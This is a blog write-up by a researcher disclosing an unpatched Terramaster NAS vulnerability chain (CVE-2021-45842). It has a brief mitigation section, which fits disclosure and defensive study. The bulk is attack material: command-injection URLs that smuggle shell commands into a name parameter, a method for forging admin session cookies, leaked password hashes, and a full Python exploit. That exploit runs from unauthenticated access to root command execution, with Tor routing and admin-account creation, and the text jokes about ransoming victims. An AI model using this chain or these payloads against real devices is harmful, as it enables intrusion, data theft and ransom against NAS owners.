Headline
CVE-2021-45842: How to summon RCEs
It is possible to obtain the first administrator’s hash set up in Terramaster F4-210, F2-210 TOS 4.2.X (4.2.15-2107141517) on the system as well as other information such as MAC address, internal IP address etc. by performing a request to the /module/api.php?mobile/wapNasIPS endpoint.
The mystic arts of summoning RCEs seem obscure and complex to those who are not trained for it, but in reality, the secret to all of them is one: shell_exec
.
In the last couple weeks I was waiting for ZDI to know if they were interested in giving me some cash for this, but unfortunately they were not, so here you go: a freshly spawned 0day - merry fucking XMAS.
I don’t know if many of you are aware but legends speak of magic devices, called NASes (Network Attached Storage), which can be used to store all your data and backups so your other devices stay quick and light!
Wouldn’t it be a shame if somebody broke into it and, let’s say asked for a ransom? Yes. Exactly.
Now, what I’ll be talking about surely isn’t log4j, nor anything extremely cool, but I had fun finding the chain to RCE, so let’s ruin someone’s XMAS, Grinch style.
Also, a word of advice, this is an in-depth article which might be long and “boring”, if you just wanna get shells, cause mayhem or read the exploit directly, suit yourself.
Buy it
The first step in summoning an RCE is picking any of the mediocre technology products on Amazon, let’s say… a Terramaster NAS. It has positive reviews. It has 4 stars. It looks cheaper than other brands - that’s a no-brainer.
Use it
The second step is to use the product, see how sloppy the software looks, get a feel of how badly it could be developed and then proceed in setting up a baseline of “normal” behaviours.
As a user, you want to take advantage of ALL the features you see available, such as ssh-ing into it, fiddling with config files, inspecting running processes,… all the things one would normally do when playing with a new toy!
A quick run-down. First of all the NAS is running nginx, as shown by the ps aux
output:
root 2094 0.0 0.0 14364 848 ? Ss Nov16 0:00 nginx: master process /usr/sbin/nginx
root 2095 0.0 0.1 15000 2156 ? S Nov16 0:00 nginx: worker process
root 2096 0.0 0.1 15000 2164 ? S Nov16 0:01 nginx: worker process
root 2097 0.0 0.1 15000 2080 ? S Nov16 0:02 nginx: worker process
root 2098 0.0 0.1 15040 2188 ? S Nov16 0:01 nginx: worker process
root 2195 0.0 0.1 165496 2484 ? Ss Nov16 1:18 php-fpm: master process (/etc/nginx/php-fpm.conf)
root 22699 0.0 0.0 3232 384 pts/0 S+ 10:55 0:00 grep nginx
the current users on the system are:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/false
admin:x:3:3:TOS User,:/home/admin:/bin/bash
sync:x:4:100:sync:/bin:/bin/sync
guest:x:6:4:Linux User,:/home/guest:/bin/false
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
TimeMachine:x:1000:1000:Linux User,:/home:/bin/false
avahi:x:1001:1001::/:/bin/false
dbus:x:1002:1002:DBus messagebus user:/var/run/dbus:/bin/false
input:x:1003:1003::/:/bin/false
nslcd:x:1004:1004:nslcd user:/:/bin/false
sshd:x:1005:1005:SSH drop priv user:/:/bin/false
n0tme:x:2:4:TOS User,,,:/home/n0tme:/bin/bash
and there seems to be an interesting sqlite database file at /etc/base/nasdb
:
n0tme@nas:~# sqlite3 /etc/base/nasdb
SQLite version 3.8.11.1 2015-07-29 20:00:57
Enter ".help" for usage hints.
sqlite> .databases
seq name file
--- --------------- ----------------------------------------------------------
0 main /etc/base/nasdb
sqlite> .tables
acl_host app_table group_users share_crypt vpn_user_table
acl_list dav_list interface user_extend
acl_webdav dfs_list share user_table
For now that’s enough poking around, let’s get down to business.
Break it
Now the juicy part. I will explain the things in the same order that I found them, so… enjoy.
The chain consists of:
- 3 remote command execution (pick you flavor!)
- 1 session crafting
- 1 arbitrary file download
- 2 information disclosures (leading to privilege escalation)
PHP files
Obviously the first place where we have a higher chance at finding bugs is where most of the custom functionality is: the web interface.
Let’s go take a look:
n0tme@nas:/usr/www$ ls
3.0 Enter.php api css csv databack debug debug.php images include index.php js lang m1.php m2.php mod module store tos version wap wizard
Nice, now what we need is to find out what those .php
files do:
n0tme@nas:/usr/www$ cat m1.php | head -5
u�45�O��}�Ѹ�*��S�C���kL��u+��RY�~��%6�i:�*��iI ����l�mQ���������f���yu�7J�/�B3�`��^A�Ro�J]I`H&ëM!�Q�����׳Nq/�șY��G�q�����6XxCFQ��.�
!�eD^IϦ@��� X��|��\_���W��Rk��>�bF����Y(�$▒�G6$�"�|I6�rcy��TGn
(�!d����}b
I know what you’re thinking… WTF. Looks like some .php
files are encrypted, based on a very arcane knowledge of mine I recall that php scripts are not binary files, so something must be decrypting those before they reach the interpreter so it can execute them.
Since this thing runs nginx my bets were either some nginx module or a php module. That or some black magic happening somewhere else. By checking the /etc/nginx/nginx.conf
and running nginx -V
does not reveal any module or special executable used, which means hopefully our answer will be in the php configuration:
n0tme@nas:/etc/php7# ls
+PACKAGE_php7-mod-iconv:icu 20_exif.ini 20_intl.ini 20_pdo_mysql.ini 20_shmop.ini 20_tokenizer.ini
15_openssl.ini 20_fileinfo.ini 20_json.ini 20_pdo_pgsql.ini 20_simplexml.ini 20_xml.ini
20_bcmath.ini 20_ftp.ini 20_mbstring.ini 20_pdo_sqlite.ini 20_sockets.ini 20_xmlreader.ini
20_calendar.ini 20_gd.ini 20_mysqlnd.ini 20_pgsql.ini 20_sqlite3.ini 20_xmlwriter.ini
20_ctype.ini 20_gettext.ini 20_opcache.ini 20_phar.ini 20_sysvmsg.ini 20_zip.ini
20_curl.ini 20_hash.ini 20_pcntl.ini 20_php_terra_master.ini 20_sysvsem.ini 30_mysqli.ini
20_dom.ini 20_iconv.ini 20_pdo.ini 20_session.ini 20_sysvshm.ini 33_redis.ini
n0tme@nas:/etc/php7# cat 20_php_terra_master.ini
extension=php_terra_master.so
Well, looks like we have something interesting here! There seems to actually be a convinently named php_terra_master.so
extension loaded in PHP. To the GHIDRA mobile!
Reversing 101
Ok so, I am not a good reverse engineer by a long shot, so I’ll be showing my totally naive approach to this. Do not do this at home, or do, I mean after all it kind of worked out for me. First step, is to get our hands on the binary and check if the binary is stripped or contains any useful debug info:
n0tme :: ~/Downloads » file php_terra_master.so 1 ↵
php_terra_master.so: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, stripped
n0tme :: ~/Downloads » readelf -sW php_terra_master.so|grep "FUNC"
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
8: 000000000000356c 296 FUNC GLOBAL DEFAULT 10 pm9screw_compile_file
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tmpfile@GLIBC_2.17 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readlink@GLIBC_2.17 (2)
17: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.17 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fileno@GLIBC_2.17 (2)
21: 0000000000003808 0 FUNC GLOBAL DEFAULT 11 _fini
...
41: 00000000000037ec 12 FUNC GLOBAL DEFAULT 10 get_module
44: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.17 (2)
45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.17 (2)
46: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.17 (2)
47: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fxstat@GLIBC_2.17 (2)
48: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncpy@GLIBC_2.17 (2)
52: 0000000000000fd8 0 FUNC GLOBAL DEFAULT 8 _init
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ioctl@GLIBC_2.17 (2)
The only thing that caught my eye here is really just the function pm9screw_compile_file, googling around for like a minute: here is a 2007 repository which might be useful.
From it’s README:
1. What's SCREW?
PHP Screw is a PHP script encryption tool. When you are developing a
commercial package using PHP, the script can be distributed as encrypted up
until just before execution. This preserves your intellectual property.
This seems to fit our use case, we can take a look at the code to have a general overview of the algorithm used, then check with Ghidra if it is roughly the same, and take it from there!
Listing all defined strings gives us a quite short list, which I made even shorter:
0010081a zend_compile_file "zend_compile_file" ds
0010082c org_compile_file "org_compile_file" ds
0010083d pm9screw_compile_file "pm9screw_compile_file" ds
00103824 php_terra_master support "php_terra_master support" ds
0010384e GH65Hws2jedf3fl3MeK "GH65Hws2jedf3fl3MeK" ds
00103862 show_source "show_source" ds
001038a4 php_terra_master "php_terra_master" ds
001038cb tos_encrypt_str "tos_encrypt_str" ds
As you can see there are a few interesting strings, and some strings which strongly hint us we are on the right track. There is also one very long string GH65Hws2jedf3fl3MeK - all of a sudden a flashback from my first crackmes struck me: hardcoded passphrases.
Jumping at the only available XREF for our candidate passphrase we land at 0010341c
:
/*...*/
local_c0 = 0;
uStack184 = 0;
local_b0 = 0;
uStack168 = 0;
local_a0 = 0;
uStack152 = 0;
local_90 = 0;
uStack136 = 0;
puVar3 = (undefined8 *)FUN_00102348("GH65Hws2jedf3fl3MeK");
/*...*/
now, at this point I just wanted to break things, luckily I stumbled upon the very friendly bloodyshell who happened to be working on my exact device, for obviously different purposes. Since he already worked (or worked way quicker than me) on reversing the algorithm, I asked him for help and he blessed me with a decryption tool to “unscrew” the code. A link to the utility’s source code is here.
Which leaves us with a decrypted web root!
n0tme :: unscrewed » cat m1.php|head -10
<?php
include_once "include/app.php";
$core = new core();
$board = $core->_boardmodel();
$vn = $core->_VersionNumber();
$macs[0] = trim(file_get_contents('/sys/class/net/eth0/address'));
$macs[1] = trim(file_get_contents('/sys/class/net/eth1/address'));
?>
<!DOCTYPE HTML>
<html>
Grep dat shell (RCEs)
Literally, grep for shell:
n0tme :: unscrewed » grep -rie "shell_exec(.*" -e "system(.*" . | cut -d":" -f 1 | sort -u | grep -v ".js"
./3.0/config/setting.php
./3.0/controller/app.class.php
./3.0/controller/explorer.class.php
./3.0/controller/member.class.php
./3.0/controller/share.class.php
./3.0/controller/util.php
./3.0/lib/core/Controller.class.php
./3.0/lib/function/file.function.php
./Enter.php
./include/ajax/ajaxdata.php
./include/ajax/handle.php
./include/ajax/iscsitable.php
./include/ajax/monitortable.php
./include/ajax/nettable.php
./include/ajax/Rsytable.php
./include/ajax/usertable.php
./include/class/application.class.php
./include/class/core.class.php
./include/class/func.class.php
./include/class/getfile.class.php
./include/class/mediasearch.class.php
./include/class/mobile.class.php
./include/class/notifications.class.php
./include/class/person.class.php
./include/class/plugs.class.php
./include/class/raid.class.php
./include/class/SessionEvents.class.php
./include/class/sharefolder.class.php
./include/class/ssl.class.php
./include/class/status.class.php
./include/class/storage.class.php
./include/class/systime.class.php
./include/class/ups.class.php
./include/class/volume.class.php
./include/class/VPN.class.php
./include/class/wap.class.php
./include/class/WebDav.class.php
./include/patch.php
./include/updataDomain.php
./include/upload.php
./tos/config/setting.php
./tos/controller/app.class.php
./tos/controller/explorer.class.php
./tos/controller/member.class.php
./tos/controller/share.class.php
./tos/controller/util.php
./tos/lib/core/Controller.class.php
./tos/lib/function/file.function.php
./wizard/index.php
Now, we want something that has user controlled input, hopefully with no authentication required. I could not find anything like that, what I could find is instead an interesting function which accepts user input and result in an RCE if reached by an admin user:
http://nas:8181/tos/index.php?app/app_start_stop&id=transmission&start=0&name=Transmission.*.oexe;ls%3E/tmp/xxx.txt;ls
And a couple which work from non-admin users as well, these do not conviniently provide an output in the response, but nonetheless they stillexecute our commands:
http://nas:8181/tos/index.php?app/del&id=0&name=;ls%3E/tmp/xyz.txt;ls%23
http://nas:8181/tos/index.php?app/hand_app&name=;ls%3E/tmp/kjl.txt;ls.tpk
All have a similar issue, user input is inserted into a string executed by either shell_exec()
or system()
, I will provide one example below, the function app/del
at tos/controller/app.class.php
:
public function del() {
$this->init_sql();
$id = $this->in['id'];
$name = $this->in['name'];
@system("rm -f ".USER."home/desktop/{$name}.*.oexe");
$result = self::$netfile->delete($id);
if($result == 1){
show_json($this->L['success']);
}else{
show_json($this->L['error'],false);
}
}
User controls the parameter name
which gets concatenated inside the OS call and executed, as root. Bad.
You shall not pass! (Session crafting)
Now we have a RCE, but we still need to get access to it without a user. In our case we need an authentication bypass of some kind to reach the vulnerable functions. Which leaves us hunting for APIs which manage authentication logic or sessions.
I’ll save the boring stuff, after some time looking at the code I eventually found that the file include/class/application.class.php
managed the login:
public function loginCheck() {
/*...*/
else if($_COOKIE['kod_name'] != '' && $_COOKIE['kod_token'] != ''){
$this->sessionid = "";
$db = new NasDBLite();
$members = $db->member();
$user = isset($members[$_COOKIE['kod_name']]) ? $members[$_COOKIE['kod_name']] : false;
$db->close();
if (!is_array($user) || !isset($user['password'])) {
return false;
}
if(tos_encrypt_str($user['password']) == $_COOKIE['kod_token']){
$this->sessionid = SessionEvents::login($user);
if ($user['role'] == 'root') {
$GLOBALS['is_admin'] = 1;
}else{
$GLOBALS['is_admin'] = 0;
}
$GLOBALS['user'] = $user;
define('USER', USER_PATH.$user['name'].'/');
define('USER_DATA', USER.'.data/');
define('USER_TEMP', USER_DATA.'temp/');
define('USER_HOME', USER.'home/');
define('USER_RECYCLE', USER.'recycle/');
setcookie('kod_name', $_COOKIE['kod_name'], time()+3600*24*365);
setcookie('kod_token',$_COOKIE['kod_token'],time()+3600*2, "/");
return true;
/*...*/
The first part checks for an existing session, which we obviously do not have, if it does not exist, it checks some cookies: kod_name
and kod_token
which are the username and the session cookie.
So, to bypass the login and get a valid session we need to:
- craft a
kod_name
with an existing user (quite easy) - craft a valid
kod_token
(requires us to find out whattos_encrypt_str
does)
Turns out, tos_encrypted_str
is not defined in any of the PHP files, which leaves it as a “native” function, which might be defined in the loaded custom module: php_terra_master.so
.
The function, which is at offset 00103738
basically does the following:
def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
Dope, so we can now tos_encrypt stuff but we still need a user’s password hash… luckily for us, when disabled the guest
user has a default NULL hash, which means we can call tos_encrypt_str("")
and get a valid token! When enabled the credentials seem to be hardcoded:
/*...*/
} else {
if ($this->config['setting_system']['auto_login'] != '1') {
$this->logout();
} else {
if (!file_exists(USER_SYSTEM . 'install.lock')) {
header("location: /Enter.php");
exit;
}
header('location:./index.php?user/loginSubmit&name=guest&password=guest');
}
}
/*...*/
Too much info, pal! (Info disclosure)
We still miss a little something! We are so close, I can smell the ransomwares creeping upon them victory. The only one missing piece now is the MAC address.
Luckily this can be easily obtained by either visiting the m1.php
and m2.php
pages or by contacting the APIs at /module/api.php?mobile/wapNasIPS
and /module/api.php?mobile/webNasIPS
.
To correctly contact those we need the following headers to be set:
User-Device:TNAS
User-Agent:TNAS
as per include/class/mobile.class.php
constructor:
function __construct() {
parent::__construct();
$this->start = $this->mtime();
if (isset($_SERVER['HTTP_USER_DEVICE']) && $_SERVER['HTTP_USER_DEVICE'] == "TNAS") $_SERVER['HTTP_USER_AGENT'] = "TNAS";
//排除非法请求...
if (!in_array(Action, self::$notHeader)) {
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
$this->output("Illegal request, please use genuine software!", false);
}
}
/*...*/
and functions:
function webNasIPS() {
if (strstr($_SERVER['HTTP_USER_AGENT'], "TNAS")) {
/*...*/
function wapNasIPS() {
if ($_SERVER['HTTP_USER_DEVICE'] == "TNAS") {
/*...*/
Luckily for us, the functions we need to contact are inside the array notHeader
which means we do not need the additional HTTP_AUTHORIZATION
header for now.
Setting the headers gets us the info we need, plus a very handy json:
{"code":true,"sessionid":"3902782408ebacea7cda7933c75bfbba","msg":"wapNasIPS successful","data":{"PWD":"$1$k2eh7cjZ$rlR5mBvLxrjzQCQQJ/f11/","IFC":"10.0.0.2","ADDR":"6cbfb5023f24","SAT":1,"DAT":[{"hostname":"nas","firmware":"TOS3_A1.0_4.2.17","sn":"","version":"2110301418"},{"network":"eth0","ip":"10.0.0.100","mask":"255.255.255.0","mac":"6c:bf:b5:02:3f:24"},{"service":[{"name":"http_ssl","url":"","port":"5443"},{"name":"http","url":"","port":"8181"},{"name":"sys","url":"","port":"8181"},{"name":"channel","url":"","port":0},{"name":"pt","url":"","port":0},{"name":"ftp","url":"","port":21},{"name":"web_dav","url":"","port":0},{"name":"smb","url":"","port":0}]}]},"time":0.2337968349456787}
guess who’s password hash is in PWD
? Correct, the admin’s!
Crafting admins (Privilege escalation)
Using the session crafting method explained earlier and the information disclosure discussed above we can easily craft an administrator session.
During my testing this did not work with the default “admin” account, this is because if during the setup the user specifies a custom username(in my case n0tme) we are out of luck… or are we?
I mean we can brute force the username, but this is lame, considering that it might end up not working, we want a reliable exploit to sell to ZDI.
This is quickly solvable by looking at the lovely API from /include/class/mobile.class.php
:
public function fileDownload() {
$filepath = realpath($this->in['path']);
file_downloading($filepath);
}
nice, a API which is used for downloading files, I bet you are wondering if we could download a file as a guest user… yup - that was too easy wasn’t it? So we can call the fileDownload
API then:
- get the
/etc/groups
file - find all users in the admin group
- try the hash with each admin until we succeed
The only extra requirement for the fileDownload API is the signature
and timestamp
headers which should be set to tos_encrypted_str(timestamp)
and the timestamp
of the request, respectively. This can be done easily since we have all the pieces.
Chaining
Now we just have to go over it all, again, in the right order:
- Setup the
User-Device
andUser-Agent
toTNAS
- Grab the admin hash and MAC address from
/module/api.php?mobile/wapNasIPS
or/module/api.php?mobile/webNasIPS
- Call the
fileDownload
API to get the/etc/group
- Pick one of the 3 RCEs and pwn the NAS.
Finally, here is the exploit:
#/bin/env python
"""
Product: Terramaster F4-210, Terramaster F2-210
Version: TOS 4.2.X (4.2.15-2107141517)
Author: n0tme (thatsn0tmysite)
Description: Chain from unauthenticated to root via session crafting.
"""
import urllib3
import requests
import json
import argparse
import hashlib
import time
import os
TARGET = None
MAC_ADDRESS = None
PWD = None
TIMESTAMP = None
def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
def user_session(session, username):
session.cookies.clear()
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)}
if username == "guest":
cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")}
for name,value in cookies.items():
session.cookies[name] = value
def download(session, path, save_as=None):
user_session(session, "guest")
r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path})
filename = os.path.basename(path)
if save_as is not None:
filename = save_as
with open(filename, "wb") as file:
file.write(r.content)
def get_admin_users(session):
download(session, "/etc/group", save_as="/tmp/terramaster_group")
with open("/tmp/terramaster_group", "r") as groups:
for line in groups:
line = line.strip()
fields = line.split(':')
if fields[0] == "admin":
users = fields[3].split(",")
os.remove("/tmp/terramaster_group")
return users
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument(dest="target", help="Target URL (e.g. http://10.0.0.100:8181)")
p.add_argument("--cmd", dest="cmd", help="Command to run", default="id")
p.add_argument("-d", "--download", dest="download", help="Only download file", default=None)
p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None)
p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None)
p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR")
p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)")
args = p.parse_args()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = args.target
s = requests.Session()
if args.tor:
s.proxies = {"http":"socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"}
s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"})
r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
try:
j = r.json()
PWD = j["data"]["PWD"]
MAC_ADDRESS = j["data"]["ADDR"]
except KeyError:
exit(1)
TIMESTAMP = str(int(time.time()))
s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP})
s.headers.update({"authorization": PWD})
if args.download != None:
download(s, args.download, save_as=args.save_as)
exit(0)
#RCEs
RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND
for admin in get_admin_users(s):
user_session(s, admin)
if args.create != None:
user, password = args.create.split(":")
groups = json.dumps(["allusers", "admin"])
r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""})
if "create user successful!" in str(r.content, "utf8"):
print(r.content)
break
continue
r = s.get(RCEs[args.rce])
content = str(r.content, "utf-8")
if "<!--user login-->" not in content:
print(content)
exit(0)
Fix it
This should be handled by Terramaster, not yourself, but in case you do not want to wait for them to release a patch. Here are a few workarounds, those are to be considered as complementary to each others:
- disconnect your NAS from the internet
- change the guest user’s password to a strong one (this prevents the session crafting as guest and file download)
- patch
mobile.class.php
to not return the hash. Variable should be calledPWD
, just set it to “” or something. - remove the
m1.php
andm2.php
files, not even sure what they are needed for… (to avoid leaking the MAC address) - patch as soon as this gets fixed by terramaster.
As for the RCEs for authorized users a deeper look at the architecture of the application is required and I do not work for Terramaster, so I leave that up to them.
Conclusions
I hope this will push Terramaster to step in and quickly fix this issue ASAP. Now, I guess it’s time to watch some leaked Matrix some XMAS movie… Die Hard.
Have fun and listen to more Daft Punk.
Related news
VeryFitPro (com.veryfit2hr.second) 3.2.8 hashes the account's password locally on the device and uses the hash to authenticate in all communication with the backend API, including login, registration and changing of passwords. This allows an attacker in possession of a hash to takeover a user's account, rendering the benefits of storing hashed passwords in the database useless.